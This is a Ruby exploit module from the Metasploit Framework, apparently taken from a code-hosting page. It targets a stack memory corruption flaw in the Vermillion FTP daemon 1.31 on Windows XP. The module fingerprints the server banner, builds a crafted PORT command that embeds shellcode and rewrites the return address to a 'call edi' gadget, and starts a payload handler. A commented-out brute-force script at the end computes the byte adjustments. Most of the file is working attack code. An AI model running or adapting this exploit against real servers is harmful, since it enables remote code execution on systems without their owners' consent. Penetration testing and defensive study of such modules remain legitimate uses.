246 lines
5.6 KiB
Ruby
246 lines
5.6 KiB
Ruby
|
##
|
||
|
# $Id$
|
||
|
##
|
||
|
|
||
|
|
||
|
##
|
||
|
# This file is part of the Metasploit Framework and may be subject to
|
||
|
# redistribution and commercial restrictions. Please see the Metasploit
|
||
|
# Framework web site for more information on licensing and terms of use.
|
||
|
# http://metasploit.com/framework/
|
||
|
##
|
||
|
|
||
|
|
||
|
require 'msf/core'
|
||
|
|
||
|
|
||
|
class Metasploit3 < Msf::Exploit::Remote
|
||
|
Rank = GreatRanking
|
||
|
|
||
|
include Msf::Exploit::Remote::Ftp
|
||
|
|
||
|
def initialize(info = {})
|
||
|
super(update_info(info,
|
||
|
'Name' => 'Vermillion FTP Daemon PORT Command Memory Corruption',
|
||
|
'Description' => %q{
|
||
|
This module exploits an out-of-bounds array access in the Arcane Software
|
||
|
Vermillion FTP server. By sending an specially crafted FTP PORT command,
|
||
|
an attacker can corrupt stack memory and execute arbitrary code.
|
||
|
|
||
|
This particular issue is caused by processing data bound by attacker
|
||
|
controlled input while writing into a 4 byte stack buffer. Unfortunately,
|
||
|
the writing that occurs is not a simple byte copy.
|
||
|
|
||
|
Processing is done using a source ptr (p) and a destination pointer (q).
|
||
|
The vulnerable function walks the input string and continues while the
|
||
|
source byte is non-null. If a comma is encountered, the function increments
|
||
|
the the destination pointer. If an ascii digit [0-9] is encountered, the
|
||
|
following occurs:
|
||
|
|
||
|
*q = (*q * 10) + (*p - '0');
|
||
|
|
||
|
All other input characters are ignored in this loop.
|
||
|
|
||
|
As a consequence, an attacker must craft input such that modifications
|
||
|
to the current values on the stack result in usable values. In this exploit,
|
||
|
the low two bytes of the return address are adjusted to point at the
|
||
|
location of a 'call edi' instruction within the binary. This was chosen
|
||
|
since 'edi' points at the source buffer when the function returns.
|
||
|
|
||
|
NOTE: This server can be installed as a service using "vftpd.exe install".
|
||
|
If so, the service does not restart automatically, giving an attacker only
|
||
|
one attempt.
|
||
|
},
|
||
|
'Author' =>
|
||
|
[
|
||
|
'jduck'
|
||
|
],
|
||
|
'References' =>
|
||
|
[
|
||
|
[ 'URL', 'http://www.exploit-db.com/exploits/11293' ],
|
||
|
[ 'URL', 'http://www.global-evolution.info/news/files/vftpd/vftpd.txt' ]
|
||
|
],
|
||
|
'DefaultOptions' =>
|
||
|
{
|
||
|
'EXITFUNC' => 'process'
|
||
|
},
|
||
|
'Privileged' => true,
|
||
|
'Payload' =>
|
||
|
{
|
||
|
# format string max length
|
||
|
'Space' => 1024,
|
||
|
'BadChars' => "\x00\x08\x0a\x0d\x2c\xff",
|
||
|
'DisableNops' => 'True'
|
||
|
},
|
||
|
'Platform' => 'win',
|
||
|
'Targets' =>
|
||
|
[
|
||
|
#
|
||
|
# Automatic targeting via fingerprinting
|
||
|
#
|
||
|
[ 'Automatic Targeting', { 'auto' => true } ],
|
||
|
|
||
|
#
|
||
|
# specific targets
|
||
|
#
|
||
|
[ 'vftpd 1.31 - Windows XP SP3 English',
|
||
|
{
|
||
|
'OldRet' => 0x405a73, # not used directly
|
||
|
'Ret' => 0x4058e3, # not used directly
|
||
|
# call edi in vftpd.exe (v1.31)
|
||
|
'Offset' => 16, # distance to saved return
|
||
|
'Adders' => "171,48" # adjust the bottom two bytes
|
||
|
}
|
||
|
]
|
||
|
],
|
||
|
'DisclosureDate' => 'Sep 23 2009',
|
||
|
'DefaultTarget' => 0))
|
||
|
|
||
|
register_options(
|
||
|
[
|
||
|
Opt::RPORT(21),
|
||
|
], self.class )
|
||
|
end
|
||
|
|
||
|
|
||
|
def check
|
||
|
connect
|
||
|
disconnect
|
||
|
print_status("FTP Banner: #{banner}".strip)
|
||
|
if banner =~ /\(vftpd .*\)/
|
||
|
return Exploit::CheckCode::Appears
|
||
|
end
|
||
|
return Exploit::CheckCode::Safe
|
||
|
end
|
||
|
|
||
|
|
||
|
def exploit
|
||
|
|
||
|
# Use a copy of the target
|
||
|
mytarget = target
|
||
|
|
||
|
if (target['auto'])
|
||
|
mytarget = nil
|
||
|
|
||
|
print_status("Automatically detecting the target...")
|
||
|
connect
|
||
|
disconnect
|
||
|
|
||
|
if (banner and (m = banner.match(/\(vftpd (.*)\)/))) then
|
||
|
print_status("FTP Banner: #{banner.strip}")
|
||
|
version = m[1]
|
||
|
else
|
||
|
print_status("No matching target")
|
||
|
return
|
||
|
end
|
||
|
|
||
|
self.targets.each do |t|
|
||
|
if (t.name =~ /#{version} - /) then
|
||
|
mytarget = t
|
||
|
break
|
||
|
end
|
||
|
end
|
||
|
|
||
|
if (not mytarget)
|
||
|
print_status("No matching target")
|
||
|
return
|
||
|
end
|
||
|
|
||
|
print_status("Selected Target: #{mytarget.name}")
|
||
|
else
|
||
|
print_status("Trying target #{mytarget.name}...")
|
||
|
end
|
||
|
|
||
|
|
||
|
connect
|
||
|
|
||
|
stuff = payload.encoded
|
||
|
# skip 16 bytes
|
||
|
stuff << "," * mytarget['Offset']
|
||
|
# now we change the return address to be what we want
|
||
|
stuff << mytarget['Adders']
|
||
|
|
||
|
if (res = send_cmd(['PORT', stuff]))
|
||
|
print_status(res.strip)
|
||
|
end
|
||
|
|
||
|
disconnect
|
||
|
handler
|
||
|
|
||
|
end
|
||
|
|
||
|
end
|
||
|
|
||
|
|
||
|
=begin
|
||
|
|
||
|
NOTE: the following code was used to obtain the "Adders" target value.
|
||
|
I'm not extremely pleased with this solution, but I haven't come up with
|
||
|
a more elegant one...
|
||
|
|
||
|
=========================
|
||
|
#!/usr/bin/env ruby
|
||
|
#
|
||
|
# usage: ./find_adder.rb <old ret> <new ret>
|
||
|
# example: ./find_adder.rb 0x405a73 0x004058e3
|
||
|
#
|
||
|
|
||
|
$old_ret = ARGV.shift.to_i(16)
|
||
|
$new_ret = ARGV.shift.to_i(16)
|
||
|
|
||
|
oret = [$old_ret].pack('V').unpack('C*')
|
||
|
nret = [$new_ret].pack('V').unpack('C*')
|
||
|
|
||
|
|
||
|
def process_idx(oret, nret, adders, idx)
|
||
|
new_val = oret[idx]
|
||
|
digits = adders[idx].to_s.unpack('C*')
|
||
|
digits.each { |dig|
|
||
|
dig -= 0x30
|
||
|
new_val = (new_val * 10) + dig
|
||
|
}
|
||
|
return (new_val & 0xff)
|
||
|
end
|
||
|
|
||
|
|
||
|
# brute force approach!
|
||
|
final_adders = [ nil, nil, nil, nil ]
|
||
|
|
||
|
adders = []
|
||
|
4.times { |idx|
|
||
|
next if (oret[idx] == nret[idx])
|
||
|
10.times { |x|
|
||
|
10.times { |y|
|
||
|
10.times { |z|
|
||
|
adders[idx] = (x.to_s + y.to_s + z.to_s).to_i
|
||
|
|
||
|
val = process_idx(oret, nret, adders, idx)
|
||
|
if (val == nret[idx])
|
||
|
final_adders[idx] = adders[idx]
|
||
|
end
|
||
|
|
||
|
break if (final_adders[idx])
|
||
|
}
|
||
|
break if (final_adders[idx])
|
||
|
}
|
||
|
break if (final_adders[idx])
|
||
|
}
|
||
|
}
|
||
|
|
||
|
|
||
|
# check/print the solution
|
||
|
eret = []
|
||
|
4.times { |idx|
|
||
|
eret << process_idx(oret, nret, adders, idx)
|
||
|
}
|
||
|
final = eret.pack('C*').unpack('V')[0]
|
||
|
if (final == $new_ret)
|
||
|
puts final_adders.join(',')
|
||
|
exit(0)
|
||
|
end
|
||
|
|
||
|
puts "unable to find a valid solution!"
|
||
|
exit(1)
|
||
|
|
||
|
=end
|